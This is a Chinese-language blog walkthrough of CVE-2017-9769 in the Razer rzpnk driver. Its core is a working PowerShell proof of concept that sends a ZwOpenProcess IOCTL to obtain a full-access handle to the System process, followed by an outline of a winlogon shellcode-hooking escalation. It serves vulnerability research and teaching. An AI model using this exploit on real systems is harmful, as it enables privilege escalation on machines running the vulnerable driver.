返回介绍

ZwOpenProcess POC (CVE-2017-9769)

发布于 2025-01-03 23:32:58 字数 3219 浏览 0 评论 0 收藏

我们不会在该函数上浪费太多时间,该漏洞很容易被证明。我们知道函数需要两个 QWORD 作为输入参数,从 Spencer 的 exp 中可以看到他 pack 了一个 pid 和 null 作为 QWORD。我们可以用下面的 POC 快速复制。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class Razer
{
  [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  public static extern IntPtr CreateFile(
    String lpFileName,
    UInt32 dwDesiredAccess,
    UInt32 dwShareMode,
    IntPtr lpSecurityAttributes,
    UInt32 dwCreationDisposition,
    UInt32 dwFlagsAndAttributes,
    IntPtr hTemplateFile);
   
  [DllImport("Kernel32.dll", SetLastError = true)]
  public static extern bool DeviceIoControl(
    IntPtr hDevice,
    int IoControlCode,
    byte[] InBuffer,
    int nInBufferSize,
    IntPtr OutBuffer,
    int nOutBufferSize,
    ref int pBytesReturned,
    IntPtr Overlapped);
 
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern IntPtr VirtualAlloc(
    IntPtr lpAddress,
    uint dwSize,
    UInt32 flAllocationType,
    UInt32 flProtect);
}
"@
 
#----------------[Get Driver Handle]
 
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
  echo "`n[!] Unable to get driver handle..`n"
  Return
} else {
  echo "`n[>] Driver access OK.."
  echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
  echo "[+] Handle: $hDevice"
}
 
#----------------[Prepare buffer & Send IOCTL]
 
# Input buffer
$InBuffer = @(
  [System.BitConverter]::GetBytes([Int64]0x4) + # PID 4 = System = 0x0000000000000004
  [System.BitConverter]::GetBytes([Int64]0x0)   # 0x0000000000000000
)
 
# Output buffer 1kb
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
 
# Ptr receiving output byte count
$IntRet = 0
 
#=======
# 0x22a050 - ZwOpenProcess
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22a050, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
  echo "`n[!] DeviceIoControl failed..`n"
  Return
}
 
#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))

运行 POC,得到下面的输出。

如果我们查看返回的两个 QWORD 值的话就会发现,第一个是我们传入的 PID 值,而第二个是一个句柄。当我们在 PowerShell 进程中查看返回的句柄时,可以看到如下的内容。

游戏也就通关了,我们有一个对 System pid 完全访问权限的句柄,这意味着我们可以从该进程空间中任意读写。Spencer 的 exp 中的方法起始就是:

  1. 获取一个到 winlogon 的句柄
  2. hook user32!LockWorkStation,钩住我们的 shellcode
  3. 锁住用户会话
  4. 利用

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。